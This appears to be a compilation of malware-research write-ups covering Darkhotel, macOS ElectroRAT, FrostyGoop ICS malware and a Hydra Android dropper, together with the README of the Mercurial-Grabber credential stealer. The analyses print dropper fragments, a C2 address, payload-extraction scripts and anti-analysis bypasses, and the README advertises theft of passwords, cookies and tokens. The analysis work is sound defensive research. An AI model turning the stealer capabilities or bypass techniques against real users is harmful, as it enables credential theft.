# The Darkhotel APT ## A Story of Unusual Hospitality ### The Darkhotel APT – Kaspersky Lab Research Much like Crouching Yeti, the Darkhotel APT is an unusually murky, long-standing and well-resourced threat actor exhibiting a strange combination of characteristics. This APT precisely drives its campaigns by spear-phishing targets with highly advanced Flash zero-day exploits that effectively evade the latest Windows and Adobe defenses, and yet they also imprecisely spread among large numbers of vague targets with peer-to-peer spreading tactics. Moreover, this crew’s most unusual characteristic is that for several years the Darkhotel APT has maintained a capability to use hotel networks to follow and hit selected targets as they travel around the world. These travelers are often top executives from a variety of industries doing business and outsourcing in the APAC region. Targets have included CEOs, senior vice presidents, sales and marketing directors, and top R&D staff. This hotel network intrusion set provides the attackers with precise global scale access to high-value targets. From our observations, the highest volume of offensive activity on hotel networks started in August 2010 and continued through 2013, and we are investigating some 2014 hotel network events. In addition to polluting P2P networks to infect the masses, they delegitimize Certificate Authorities to further their attacks. They abuse weakly implemented digital certificates to sign their malcode. The actor abused the trust of at least ten CAs in this manner. Currently, they are stealing and re-using other legitimate certificates to sign their mostly static backdoor and infostealer toolset. Their infrastructure grows and shrinks over time, with no consistent pattern to the setup. It is both protected with flexible data encryption and poorly defended with weak functionality. Victim categories include the following verticals: - Very large electronics manufacturing - Investment capital and private equity - Pharmaceuticals - Cosmetics and chemicals manufacturing offshoring and sales - Automotive manufacturer offshoring services - Automotive assembly, distribution, sales, and services - Defense industrial base - Law enforcement and military services - Non-governmental organizations About 90 percent of the infections appear to be located in Japan, Taiwan, China, Russia, and South Korea, partly because of the group’s indiscriminate spread of malware. Overall, since 2008, the infection count numbers in the thousands. The more interesting traveling targets include top executives from the US and Asia doing business and investment in the APAC region. A combination of Kaspersky Security Network (KSN) detections and command and control data recorded infections in the United States, the United Arab Emirates, Singapore, Kazakhstan, South Korea, the Philippines, Hong Kong, India, Indonesia, Germany, Ireland, Mexico, Belgium, Serbia, Lebanon, Pakistan, Greece, Italy, and others. This actor’s victim geolocation distribution has a long tail, and multiple significant targets and victims travel frequently throughout many of these countries. So, victim geolocation changes while they are traveling frequently. When Kaspersky Lab researchers visited Darkhotel incident destinations with honeypot machines, they did not attract Darkhotel attacks, which suggests the APT acts selectively. Further work demonstrated just how careful these attackers were to hide their activity – as soon as a target was effectively infected, they deleted their tools from the hotel network staging point, maintaining a hidden status. Darkhotel activity and objects have leaked out in bits and pieces over the past few years, but we have identified Darkhotel tools dating back to 2007. Considering their well-resourced, advanced exploit development efforts and large, dynamic infrastructure, we expect more Darkhotel activity in the coming years. Our Darkhotel report and appendices of indicators and technical details collect and organize this APT’s activity to date. ### Key Points - APT - Botnets - Cyber espionage - Keyloggers - Spear phishing - Targeted attacks - Vulnerabilities and exploits - Zero-day vulnerabilities
# Discharging ElectroRAT Analyzing the first (macOS) malware of 2021. by: Patrick Wardle / January 5, 2021 Our research, tools, and writing are supported by the "Friends of Objective-See" such as: Become a Friend! 📝 👾 Want to play along? I’ve added the samples (ElectroRAT) to our malware collection (password: infect3d) …please don’t infect yourself! ## Background Not one week into 2021, and we’ve got the first new malware affecting macOS: ElectroRAT! ElectroRAT is a cross-platform RAT, uncovered by Intezer: "we discovered a wide-ranging operation targeting cryptocurrency users, estimated to have initiated in January 2020. This extensive operation is composed of a full-fledged marketing campaign, custom cryptocurrency-related applications and a new Remote Access Tool (RAT) written from scratch." "[its main goal appears to] ...steal personal information from cryptocurrency users" - Intezer In terms of its infection vector, Intezer noted: "These [malicious] applications were promoted in cryptocurrency and blockchain-related forums such as bitcointalk and SteemCoinPan. The promotional posts, published by fake users, tempted readers to browse the applications’ web pages, where they could download the application without knowing they were actually installing malware." - Intezer As the Intezer report predominantly focused on the Windows variant of the malware, let’s build upon their research, diving deeper into the macOS variant (OSX.ElectroRAT). ## Triage The Intezer shared the hash of a disk image (.dmg) containing the macOS variant of ElectroRAT. With a SHA-1 of 2795ca35847cecb543f713b773d87c089a6a38ba, we can grab this from VirusTotal, noting its name (eTrader-0.1.0_mchos.dmg) and the fact that detections aren’t that good (yet): Once we download the disk image (eTrader-0.1.0_mchos.dmg), we can mount it via the `hdiutil` command: ```bash % hdiutil attach ElectroRat/eTrader-0.1.0_mchos.dmg ``` It mounts to `/Volumes/eTrader 0.1.0`, and contains a single application, `eTrader.app`. Via WhatsYourSign, we can see this application is not notarized nor signed, meaning it won’t (easily) run on recent versions of macOS: `eTrader.app ...unsigned` Often triaging an application, I manually poke around via the terminal. However, a new (free!) app named Apparency (from the developers of Suspicious Package) offers a way to statically explore applications via the UI. On the right-hand side of the Apparency window, we see various information about the application, such as the identifier (`app.com.trader`) and a (fake) copyright notice (`(c) 2020 John Doe`). Let’s take a peek at the application's `Info.plist`: ```bash $ defaults read /Volumes/eTrader\ 0.1.0/eTrader.app/Contents/Info.plist { AsarIntegrity = "{\\"checksums\\":{\\"app.asar\\":\\"kpsG1Z5PL...6vpzzhTLQ==\\"}}"; BuildMachineOSBuild = 17D102; CFBundleDisplayName = eTrader; CFBundleExecutable = eTrader; CFBundleIdentifier = "app.com.trader"; ... DTSDKBuild = "10.13"; DTSDKName = "macosx10.13"; ... NSCameraUsageDescription = "This app needs access to the camera"; NSHighResolutionCapable = 1; NSHumanReadableCopyright = "Copyright \\U00a9 2020 John Doe"; NSPrincipalClass = AtomApplication; ... } ``` The presence of the `AsarIntegrity` key/value pair indicates it's built via Electron. Electron is a framework for creating native applications with web technologies like JavaScript, HTML, and CSS. Other key/value pairs of interest include `NSCameraUsageDescription` and `NSMicrophoneUsageDescription`, which indicate the application may request permission to access the camera and microphone. If we examine the application bundle in Finder, we notice a non-standard folder, `Contents/Utils`, which contains a single file: `mdworker`. Via the `file` command, we can ascertain that `mdworker` is a standard 64-bit Mach-O executable: ```bash $ file /Volumes/eTrader\ 0.1.0/eTrader.app/Contents/Utils/mdworker /Volumes/eTrader 0.1.0/eTrader.app/Contents/Utils/mdworker: Mach-O 64-bit executable x86_64 ``` As we’ll see, this appears to be the core (malicious) component of OSX.ElectroRAT. ## Analysis Let’s pop into a virtual machine and run the malware (`eTrader.app`). But first, let’s install some free, open-source dynamic analysis tools, including: - **ProcessMonitor**: Our user-mode (open-source) utility that monitors process creations and terminations, providing detailed information about such events. - **FileMonitor**: Our user-mode (open-source) utility that monitors file events (such as creation, modifications, and deletions) providing detailed information about such events. - **Netiquette**: Our (open-source) network monitor. When launched (in a VM), `eTrader.app` shows an innocuous looking sign-in window. …but in the background, our passive dynamic analysis tools readily detect malicious behavior. First off (via the ProcessMonitor), we see that the application (whose pid is 1350) executes the `Utils/mdworker` binary (via `bash`): ```json { "event": "ES_EVENT_TYPE_NOTIFY_EXEC", "process": { ... "uid": 501, "arguments": [ "/bin/sh", "-c", "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker" ], "ppid": 1350, "architecture": "Intel", "path": "/bin/sh", "name": "sh", "pid": 1355 } } ``` Once off and running, our FileMonitor captures the `Utils/mdworker` copying itself to `~/.mdworker`: ```json { "event": "ES_EVENT_TYPE_NOTIFY_CREATE", "file": { "destination": "/Users/user/.mdworker", "process": { "uid": 501, "arguments": [ "/bin/sh", "-c", "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker" ], "ppid": 1350, "architecture": "Intel", "path": "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker", "name": "mdworker", "pid": 1351 } } } ``` The `mdworker` binary then creates a launch agent plist, `~/Library/LaunchAgents/mdworker.plist`: ```json { "event": "ES_EVENT_TYPE_NOTIFY_CREATE", "file": { "destination": "/Users/user/Library/LaunchAgents/mdworker.plist", "process": { "uid": 501, "arguments": [ "/bin/sh", "-c", "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker" ], "ppid": 1350, "architecture": "Intel", "path": "/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker", "name": "mdworker", "pid": 1351 } } } ``` As expected, the launch agent plist (`mdworker.plist`) references the `.mdworker` binary: ```bash % cat ~/Library/LaunchAgents/mdworker.plist Label mdworker ProgramArguments /Users/user/.mdworker RunAtLoad ``` Also, worth noting, as the `RunAtLoad` is set to true, the OS will automatically (re)launch the malware each time the user (re)logs in. Now that OSX.ElectroRAT has persisted, what does it do? In a Twitter thread, Avigayil (the security researcher at Intezer) notes that the malware, “queries a raw pastebin page to retrieve the C&C IP address”: "[2/7] Upon execution, ElectroRAT queries a raw pastebin page to retrieve the C&C IP address. The malware then calls the registerUser function, which creates and sends a user registration Post request to the C&C." — Avigayil Mechtinger (@AbbyMCH) January 5, 2021 Via Wireshark, we can confirm the macOS variant of ElectroRAT performs these same actions. First querying pastebin: …and then once the address of the command and control server (213.226.100.140) is retrieved, connects out (with some basic information about the infected machine). Once the malware has checked in with the command and control server, it acts upon any (remote) tasking: "[5/7] Commands received from the C&C are parsed by the RAT using corresponding functions before sending a message back with the response. The commands are sent as a json structure with the following keys: type, uid and data for additional parameters needed for the command." — Avigayil Mechtinger (@AbbyMCH) January 5, 2021 Avigayil also notes that: "The attacker uses go-bindata to embed additional binaries within the malware." In a disassembler, we can search for strings (`_main.static_darwin*`) to uncover what may be (statically) embedded binaries, specific to the macOS (darwin) variant. So, how to extract these embedded binaries? Well thanks to Avigayil, we know they are embedded via go-bindata. This is an open-source project (on GitHub) that: "converts any file into manageable Go source code. ...useful for embedding binary data into a Go program. The file data is optionally gzip compressed" - go-bindata So, we know the binaries are embedded and (likely) gzip compressed. Hopping back to the disassembler, let’s first find the embedded (gzipped) binary data(s) (we’ll use the embedded webcam capture binary as an example). As noted, the malware contains various functions named `main.static_darwin*`, that seem relevant to the embedded binary data. Looking at the `main.static_darwinCam_macos` function (at `0x0000000004395bf0`), we find a cross-reference to a variable named `_main._static_darwinCam_maco` that’s passed as an argument to a function named `main.bindataRead`: ```assembly 1_main.static_darwinCam_macos: 2 ... 3 ; argument #3 for method _main.bindataRead 4 0x0000000004395c2d mov rdx, qword [_main._static_darwinCam_macos] 5 ... 6 0x0000000004395c57 call main.bindataRead ``` The `main._static_darwinCam_macos` variable is located at `0x0000000004d3f190` and contains a pointer `0x0000000004800760`. Heading over to `0x0000000004800760` (offset `0x800760` in the file), we find gzipped data: Embedded gzipped data begins with a two-byte signature: `0x1F 0x8B`. Following is another byte, indicating the compression method. The most common value for this third byte is `0x08` (DEFLATE). Hooray, we’ve found the embedded compressed binary data for the (web)camera binary. To extract the embedded bytes, I put together a super simple Python script that simply opens the malware’s binary, goes to the offset of the embedded data, and writes it out to disk: ```python import sys import gzip f = open(sys.argv[1], 'rb') f.seek(int(sys.argv[2], 16), 0) o = open("extractedData.gz", 'wb') o.write(f.read()) o.close() f.close() ``` Executing the above script with the path to the malware (`mdworker`) and the offset (of the embedded cam binary data, `0x800760`) will extract and write out the compressed bytes to `extractedData.gz`. This file can then be decompressed with the `gzip` utility: ```bash % python extract.py mdworker 800760 % gzip -d extracted.gz gzip: extracted.gz: trailing garbage ignored % file extracted extracted: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [i386:Mach-O executable i386] ``` Woohoo, we’ve now got a Mach-O binary! We repeat the process for each of the `main.static_darwin*` symbols, which gets us several other Mach-O binaries and a “Apple Desktop Services Store” (DS_Store) file: ```bash % file * darwinCam: Mach-O universal binary with 2 architectures: [x86_64:Mach-O executable x86_64] [i386:Mach-O executable i386] darwinChrome: Mach-O 64-bit executable x86_64 darwinDs_store: Apple Desktop Services Store darwinKeylogger: Mach-O 64-bit executable x86_64 darwinVnc: Mach-O 64-bit executable x86_64 ``` You can find these extracted files in the OSX.ElectroRAT sample I've uploaded to Objective-See's macOS malware collection. Let’s briefly triage these (now extracted) binaries: - **darwinCam** (SHA1: 7e0a289572c2b3ef5482dded6019f51f35f85456): Appears to be a ImageSnap, a well-known (open-source) command-line utility for capturing images via the infected device’s camera. - **darwinChrome** (SHA1: 4bb418ba9833cd416fd02990b8c8fd4fa8c11c0c): Via embedded strings, we can determine that `darwinChrome` was packaged up with PyInstaller. As such, we can use the `pyinstxtractor` utility to extract (unpackage) its contents: ```bash $ python pyinstxtractor.py darwinChrome ``` This produces several files including a compiled Python file, `Apple.pyc`. Via an online decompiler, we can then recover `Apple.pyc`’s Python source code. - **darwinKeylogger** (SHA1: 3bcbfc40371c8d96f94b5a5d7c83264d22b0f57b): This binary appears to be a basic macOS keylogger based on the open-source Swift-Keylogger project (that (ab)uses `IOHIDManagerCreate` / `IOHIDManagerRegisterInputValueCallback`). Note that on recent versions of macOS, this requires explicit user approval. - **darwinVnc** (SHA1: 872da05c137e69617e16992146ebc08da3a9f58f): This binary appears to be the well-known OSXvnc, a “robust, full-featured VNC server for MacOS”. The malware also supports a variety of built-in standard backdoor capabilities such as command execution, file upload/download, and more. Avigayil sums this up well: "ElectroRAT is extremely intrusive. ...it has various capabilities such as keylogging, downloading files and executing commands on the victim's console." ## Detection(s) Good news, though this malware is brand new, several of our free (open-source) macOS security tools readily can detect and alert on its malicious behaviors. For example, when OSX.ElectroRAT persists, BlockBlock can alert you of this fact: …while our firewall, LuLu will block and alert on the malware’s unauthorized network connections. In terms of static IOCs, the presence of the following files may indicate an OSX.ElectroRAT infection: - `~/.mdworker` - `~/Library/LaunchAgents/mdworker.plist` ## Conclusions Looks like 2021 will be another year filled with Mac malware! In this blog post, we analyzed the newly discovered ElectroRAT, focusing on the macOS version, detailing its launch agent persistence, extracted and triaged its embedded binaries, and discussed its built-in capabilities. If this blog post piqued your interest, definitely check out my new book on the topic of Mac Malware Analysis: “The Art Of Mac Malware: Analysis”. It’s free online, and new content is regularly added! Love these blog posts? You can support them via my Patreon page!
# Intelligence Brief: Impact of FrostyGoop ICS Malware on Connected OT Systems ## Summary FrostyGoop is the ninth industrial control systems (ICS) specific malware. It is the first ICS-specific malware that uses Modbus TCP communications to achieve an impact on Operational Technology (OT). Dragos discovered FrostyGoop in April 2024. It can interact directly with ICS using Modbus, a standard ICS protocol across all industrial sectors and organizations worldwide. The Cyber Security Situation Center (CSSC) of Ukraine shared details with Dragos about a disruptive cyber attack on a district energy company in Lviv, Ukraine, which resulted in a two-day loss of heating to customers. Dragos assesses that FrostyGoop was used in this attack. ## Key Findings - FrostyGoop is the ninth ICS-specific malware and the first to use Modbus communications to impact OT. - In April 2024, Dragos discovered multiple FrostyGoop binaries, which are written in Golang and interact with ICS using Modbus TCP over port 502. At the time of discovery, antivirus vendors did not detect it as malicious. - FrostyGoop can read and write to ICS device holding registers, accepts optional command line execution arguments, uses separate configuration files for target IP addresses and Modbus commands, and logs output to a console and/or a JSON file. - The CSSC shared details of a cyber attack on a municipal district energy company in Lviv, Ukraine, which disrupted heating services to over 600 apartment buildings. The adversaries sent Modbus commands to ENCO controllers, causing inaccurate measurements and system malfunctions. Remediation took almost two days. - The investigation revealed that adversaries possibly gained access to the victim network through an undetermined vulnerability in an externally facing Mikrotik router. The network assets were not adequately segmented, facilitating the attack. ## Analyzing the FrostyGoop ICS Malware In April 2024, Dragos discovered multiple FrostyGoop binaries during routine triage of suspicious files. FrostyGoop can interact directly with ICS using Modbus TCP over port 502. According to VirusTotal, antivirus vendors do not detect the FrostyGoop files as malicious. The malware can read and write to device holding registers, which contain inputs, outputs, and configuration data. Dragos assessed with low confidence that the FrostyGoop ICS malware discovered was used for testing purposes, but this changed when an attack was confirmed. ## What Is the Modbus Protocol? Modbus is a client/server communication protocol initially designed for Modicon programmable logic controllers in 1979. It is now widely used by other devices and is hardware agnostic, making it popular for communications between PLCs, DCS, controllers, sensors, actuators, field devices, and interfaces. The Modbus protocol defines a message structure that controllers recognize and use, regardless of the type of networks over which they communicate. ## FrostyGoop ICS Malware Capabilities - Accepts optional command line execution arguments. - Uses separate configuration files to specify target IP addresses and Modbus commands. - Communicates with ICS devices via Modbus TCP protocol. - Sends Modbus commands to read or modify data on ICS devices. - Logs output to a console or JSON file. ## Optional Command Line Execution Arguments FrostyGoop checks if the executable is running with any required command line arguments. The binaries exit execution if no command line arguments are provided. Information required to initiate a TCP connection and send Modbus commands can be specified as command-line arguments or contained within a separate JSON configuration file. ## Configuration File FrostyGoop accepts a JSON-formatted configuration file containing information used to execute Modbus commands on a target device. The malware reads the file, parses the JSON data, connects to the IP address from the file, and sends Modbus TCP commands to holding register addresses specified in the configuration file. ## Modbus Network Traffic FrostyGoop initiates communication with the target IP address over Modbus TCP port 502. Once a connection is established, it sends Modbus commands to the device. FrostyGoop binaries use a Go Modbus library retrieved from a publicly available GitHub repository. ## Logging Capabilities The FrostyGoop binaries log output from the Modbus TCP communications with the target IP address to a Windows console and a JSON file. If the argument for logging is specified, the output is logged to a JSON file. ## 2024 OT Cyber Attack Impacting Communities in Lviv, Ukraine The CSSC shared details with Dragos of a cyber attack that took place in January 2024. Adversaries conducted a disruption attack against a municipal district energy company in Lviv, Ukraine. The attack disrupted the power supply to heating services to over 600 apartment buildings. The investigation revealed that adversaries possibly gained access to the victim network by exploiting an undetermined vulnerability in an externally facing Mikrotik router. ## Assessing the Broader Impact on OT Cybersecurity The discovery of the FrostyGoop ICS malware and its capabilities has raised significant concerns about the broader impact on OT cybersecurity. The specific targeting of ICS using Modbus TCP over port 502 poses a serious threat to critical infrastructure across multiple sectors. Currently, over 46,000 internet-exposed ICS devices communicate over Modbus worldwide. ## Guidance for Dragos Customers FrostyGoop was first reported to Dragos WorldView subscribers in late May 2024. Dragos Platform detections were assessed against the threat, and indicators of compromise (IOCs) were deployed. Dragos continues to analyze FrostyGoop for future Knowledge Pack releases to ensure appropriate detections are created and deployed. ## Recommendations – Implement 5 Critical Controls 1. **ICS Incident Response**: A robust incident response plan is crucial, incorporating specialized responses for OT environments. 2. **Defensible Architecture**: Implement network segmentation and establish industrial demilitarized zones (DMZs). 3. **ICS Network Visibility & Monitoring**: Continuous monitoring of OT network traffic is essential to detect and respond to anomalies. 4. **Secure Remote Access**: Enforce secure remote access protections, including multi-factor authentication and regular audits. 5. **Risk-Based Vulnerability Management**: Regular assessments to identify and address vulnerabilities are vital. ## Conclusion The discovery and analysis of the FrostyGoop ICS malware underscore the significant risks posed to OT environments. The cyber attack on the municipal district energy company in Lviv, Ukraine, emphasizes the necessity for adequate security controls and continuous OT network security monitoring. Organizations must prioritize the implementation of comprehensive cybersecurity frameworks to safeguard critical infrastructure from similar threats in the future.
# NightfallGT/Mercurial-Grabber ## Features - Grabs Roblox cookies from Roblox Studio - Grabs Minecraft sessions - Grabs Google Chrome passwords - Grabs Google Chrome cookies - Grabs Discord token - Grabs victim machine info - Grabs Windows product key - Grabs IP address, geolocation - Grabs screenshot - Anti Virtual Machine - Anti Debug ## Customization - Add a custom icon - Custom exe name ## Info Please do not use the program maliciously. This program is intended to be used for educational purposes only. Mercurial is only used to demonstrate what type of information attackers can grab from a user's computer. This project was created to make it easier for malware analysts or ordinary users to understand how credential grabbing works and can be used for analysis, research, reverse engineering, or review. ## What is malware? Malware is a term that is used for malicious software that is designed to do damage or unwanted actions to a computer system. ## An explanation of this tool: Google Chrome always stores user data in the same place, so the stealer generated by Mercurial Grabber has no problem in finding it. In theory at least, this data is stored in encrypted form. However, if the malware has already penetrated the system, then its actions are done in your name. Therefore, the malware simply finds a way to decrypt information stored on your computer (by making it seem like the user is requesting it). The stealer gets all your passwords and cookies. The tool is also able to find Roblox cookies that are stored in the Windows Registry. By running the malicious .exe file, it is able to search for the Roblox cookie. The same goes for Minecraft sessions, Discord tokens, etc., since it is stored on the user's computer. ## Recommended tools for testing Mercurial: - Virtualbox - VMware - Process Hacker - VirusTotal ## Tips to check if an exe file is safe: - Analyze the file with VirusTotal - Check if the exe file has a publisher - Check it in a sandbox - Monitor the file’s network activity for strange behavior **Educational Purposes Only** This tool demonstrates and makes it easy to create your own grabber. This shows what type of information attackers can grab from a victim's computer. Only use this on your own PC and do not use it on other people maliciously.
# Android Malware Analysis: Dissecting Hydra Dropper Ahmet Bilal Can July 18, 2019 Hydra is another Android bankbot variant. It uses overlay to steal information like Anubis. Its name comes from the command and control panel. Through July 2018 to March 2019, there were at least 8-10 samples on Google Play Store. Distribution of malware is similar to Anubis cases. Dropper apps are uploaded to Play Store. But unlike Anubis, dropper apps extract dex files from PNG files with kind of stenography and download malicious apps from command and control servers with dropped dex. First of all, if the dropper app likes the environment it runs in, it will load the dex file and connect to the command and control server. There are multiple checks on the Java and native side. We will debug the native side with gdb and use Ghidra to help us find checks and important functions. ## Time Check When we open the first app with jadx, we can see a time check in class `com.taxationtex.giristexation.qes.Hdvhepuwy`. ```java public static boolean j() { return new Date().getTime() >= 1553655180000L && new Date().getTime() <= 1554519180000L; } ``` This function is called in another class: `com.taxationtex.giristexation.qes.Sctdsqres`. ```java class Sctdsqres { private static boolean L = false; private static native void fyndmmn(Object obj); Sctdsqres() { } static void j() { if (Hdvhepuwy.j()) { H(); } } static void H() { if (!L) { System.loadLibrary("hoter"); L = true; } fyndmmn(Hdvhepuwy.j()); } } ``` First, it checks the time, and if the condition holds, the app will load the native library and call `fyndmmn(Hdvhepuwy.j());`, which is a native function. We need to bypass this check so the app will always load the library. I used `apktool` to disassemble the APK to smali and changed `j()` to always return true. ```bash apktool d com.taxationtex.giristexation.apk cd com.taxationtex.giristexation/smali/com/taxationtext/giristexation/qes ``` Edit `j()Z` in `Hdvhepeuwy.smali`: ```smali .method public static j()Z .locals 1 const/4 v0, 0x1 return v0 .end method ``` Rebuild the APK with `apktool b com.taxationtex.giristexation -o hydra_time.apk` and sign it. Now the time control will always return true, and after loading the native library, the `fyndmmn` native function is called. Even with this, the app doesn’t load the dex file. ## GDB Debug Here is a great post explaining how to set up gdb to debug native libraries. Steps: 1. Download Android SDK with NDK. 2. `adb push ~android-ndk-r20/prebuilt/android-TARGET-ARCH/gdbserver/gdbserver /data/local/tmp` 3. `adb shell "chmod 777 /data/local/tmp/gdbserver"` 4. `adb shell "ls -l /data/local/tmp/gdbserver"` 5. Get process ID: `ps -A | grep com.tax` 6. `/data/local/tmp/gdbserver :1337 --attach $pid` 7. `adb forward tcp:1337 tcp:1337` 8. `gdb` 9. `target remote :1337` 10. `b Java_com_tax\TAB` There is a small problem here. The app will load the library and call the native function and exit. The app needs to wait for the gdb connection. My first thought was putting sleep and then connect with gdb. ```bash apktool d hydra_time.apk vim hydra_time/com.taxationtex.giristexation/smali/com/taxationtex/giristexation/qes/Sctdsqres.smali ``` After the following block: ```smali .line 43 :cond_0 ``` Add: ```smali const-wide/32 v0, 0xea60 invoke-static {v0, v1}, Landroid/os/SystemClock;->sleep(J)V ``` Since the locals variable is 1 and we use an extra v1 variable, increment it to 2. ```smali .method static H()V .locals 2 ``` Again sign and install the app. If all goes well, the app will wait 60 seconds on a white screen. Now we can connect with gdb. ```bash ps | grep com.tax /data/local/tmp/gdbserver :1337 --attach $pid ``` I use pwndbg for a better gdb experience; you can try peda or whatever you want. ```bash adb forward tcp:1337 tcp:1337 gdb target remote :1337 ``` It takes some time to load all libraries. Put a breakpoint on the native function `fymdmmn`. If you want to sync gdb and Ghidra addresses, type `vmmap` at gdb and look for the first entry of `libhoter.so`. ```plaintext 0xe73be000 0xe73fc000 r-xp 3e000 0 /data/app/com.taxationtex.giristexation-1/lib/x86/libhoter.so ``` So `0xe73be000` is my base address. Go to `Window -> Memory Map` and press the Home icon on the upper right. Put your base address and rebase the binary. Look at the entry of the native function in Ghidra. Why call the time function? Again time check? Rename the return value of the time function (`curr_time`) and press `ctrl+shift+f` from the assembly view and go to the location that context is `READ`. ```plaintext return (uint)(curr_time + 0xa3651a74U < 0xd2f00) ``` So we were right, again time check. Rename the current function to `check_time`. Calculate the epoch time: ```python >>> 0xffffffff-0xa3651a74+0xd2f00 >>> 1554519179 >>> (1554519179+ 0xa3651a74) & 0xffffffff < 0xd2f00 >>> True ``` Convert epoch to time: Saturday, April 6, 2019, 2:52:59 AM. Yep, this was the time that the app was on the Play Store. Check how this boolean is used. Look for xrefs of `check_time` function. It will exit if the time doesn’t hold. First breakpoint/binary patch point is here. Or we can change the emulator/phone’s time to April 5, 2019. ```plaintext b *(base + 0x8ba8) ``` But bypassing the time check is not enough. ## Ghidra Shenanigans Now diving into the binary file, you will find multiple functions like this: If you look at the while loop, two blocks of data are XORed (Length 0x18). We can put a breakpoint after the do-while, but it will not be an efficient solution. Let’s think of a programmatic way to find decrypted strings. These XOR blocks are next to each other. If we can get the length of blocks, we can easily get the decrypted string. Then find the function that uses these XOR blocks and rename it. Afterwards, we can jump `2*length` and get the next XOR blocks. Repeat. Starting XOR block is at `0x34035`. Get xrefs of the block, go to the function, get the cmp value, and get the size from the CMP instruction. Since we know the address of the first XOR block, add size to the first address and get the address of the second XOR block. XOR the blocks and rename the calling function. Ghidra: go to `Window -> Script Manager -> Create New Script -> Python`. Set a name for the script and let’s write our Ghidra script. ```python import ghidra.app.script.GhidraScript import exceptions from ghidra.program.model.address import AddressOutOfBoundsException from ghidra.program.model.symbol import SourceType def xor_block(addr, size): first_block = getBytes(toAddr(addr), size).tolist() second_block = getBytes(toAddr(addr + size), size).tolist() a = "" for i in range(len(first_block)): a += chr(first_block[i] ^ second_block[i]) trash = len("someval") return a[:-trash] def block(addr): if addr == 0x34755: return 0x0003494f xrefs = getReferencesTo(toAddr(addr)) if len(xrefs) == 0: return addr + 1 for xref in xrefs: ref_addr = xref.getFromAddress() try: inst = getInstructionAt(ref_addr.add(32)) except AddressOutOfBoundsException as e: print("Found last xor block exiting..") exit() block_size = inst.getByte(2) dec_str = xor_block(addr, block_size) func = getFunctionBefore(ref_addr) new_name = "dec_" + dec_str[:-1] func.setName(new_name, SourceType.USER_DEFINED) print("Block : {} , func : {}, dec string : {}".format(hex(addr), func.getEntryPoint(), dec_str)) return addr + 2 * block_size def extract_encrypted_str(): curr_block_location = 0x34035 for i in range(200): curr_block_location = block(curr_block_location) def run(): extract_encrypted_str() run() ``` To run the script, select the created script in the Script Manager and press Run. Now look at the output. As you can see, there are functions: `getSimCountryISO`, `getNetworkCountryIso`, `getCountry`, and one suspicious string: `tr`. Without running, we can assume the code will check if these functions’ return values are equal to `tr`. I know this app targets Turkish people, so this is reasonable to avoid sandbox and even manual analysis. If you follow from these functions’ xrefs to function `FUN_00018A90()` (called after the time check), you can see this block: So the next patch/breakpoint is this check: ```plaintext b *(base + 0x8c80) ``` After these checks, the code will drop dex and load it. If you run without patch/breakpoints, only the edevlet page is shown, and nothing happens. Get your base address and try bypassing checks: ```plaintext b *(base + 0x8ba8) b *(base + 0x8c80) copy eip : .... a8 -> set $eip = .... aa c copy eip : .... 80 -> set $eip = .... 82 c ``` After these breakpoints, the app will create the dex file and load it. You will see the Accessibility page pop up if you do it correctly. ## Understanding Creation of the Dex File If you look for the dropped file in the filesystem, you won’t see anything. The file is removed with `remove`. We can attach Frida and catch the dropped file easily. But forget about it for now and find how the PNG file is used to create the dex file. Look at the last parts of the Ghidra script’s output. Somehow `prcnbzqn.png` is processed with `AndroidBitmap` and the dex file is created with the name `xwchfc.dex`. Then with `ClassLoader` API, the dex file is loaded, and `moonlight.loader.sdk.SdkBuilder` class is called. Check function: `0xeec0` gets the PNG file from the asset folder. It iterates over assets and finds the PNG file. Good. Rename this function to `asset_caller`. Go to xrefs of this function and find `0xe2c0`. I renamed some functions. `dex_header` creates the dex file in memory. `dex_dropper` drops the dex file to the system and loads. How does `dex_header` create the dex file? Go to the function definition. The `bitmap_related` function creates a bitmap from the PNG file. The Bitmap object is passed to the `dex_related` function. If you read the PNG file byte by byte, you don’t get color codes of pixels directly. You need to convert it to a bitmap. So the app first transfers the PNG file to a bitmap and reads hex values of pixels. Fire up GIMP/Paint and look at the hex codes of the first pixel of the image and compare with the below picture. Now comes the fun part. How are these values used? At `0xfbf0`, you can find the `dex_related` function. The Bitmap object is passed to this function. Now there are two important functions here: `byte_chooser` will return one byte, and `dex_extractor` will use that byte to get final dex bytes. `4_cmp` variable is set to 0 at the beginning and will be set to 0 at the end of the else block. So the flow will hit `byte_chooser` two times before entering `dex_extractor`. Here is the `byte_chooser` function: `param_3` is hex codes of pixels. `param_2` is like a seed. If it’s the first call of `byte_chooser`, it is set to 0. In the second call of `byte_chooser`, `param_2` will be the return value of the first call and left shifted by 4. Then it’s set to 0 at the end of the else block. After calculating the byte by calling `byte_chooser` twice, the return value is passed to `dex_extractor`. Now we know how the dex file is created. Let’s do it with Python. ```python from PIL import Image import struct image_file = "prcnbzqn.png" so_file = "libhoter.so" offset = 0x34755 size = 0x1fa output_file = "drop.dex" im = Image.open(image_file) rgb_im = im.convert('RGB') im_y = im.size[1] im_x = im.size[0] dex_size = im_y * im_x / 2 - 255 f = open(so_file) d = f.read() d = d[offset:offset + size] def create_magic(p1, p2, p3): return (p1 << 2 & 4 | p2 & 2 | p2 & 1 | p1 << 2 & 8 | p3) def dex_extractor(p1, p2): return (p1 / size) * size & 0xffffff00 | ord(d[p1 % size]) ^ p2 count = 0 dex_file = open(output_file, "wb") second = False magic_byte = 0 for y in range(0, im.size[1]): for x in range(0, im.size[0]): r, g, b = rgb_im.getpixel((x, y)) magic_byte = create_magic(r, b, magic_byte) if second: magic_byte = magic_byte & 0xff dex_byte = dex_extractor(count, magic_byte) dex_byte = dex_byte & 0xff if count > 7 and count - 8 < dex_size: dex_file.write(struct.pack("B", dex_byte)) magic_byte = 0 second = False count += 1 else: magic_byte = magic_byte << 4 second = True dex_file.close() ``` Let’s look at the output file with jadx. Remember moonlight from the output of the Ghidra script? Yep, this looks correct. ## Frida Well, I can't write an article without mentioning Frida. Bypass checks with Frida. - There are time checks on the Java and native side. - Country check. - The file is removed at the native side. ```javascript var unlinkPtr = Module.findExportByName(null, 'unlink'); // remove bypass Interceptor.replace(unlinkPtr, new NativeCallback(function (a) { console.log("[+] Unlink : " + Memory.readUtf8String(ptr(a))) }, 'int', ['pointer'])); var timePtr = Module.findExportByName(null, 'time'); // time bypass 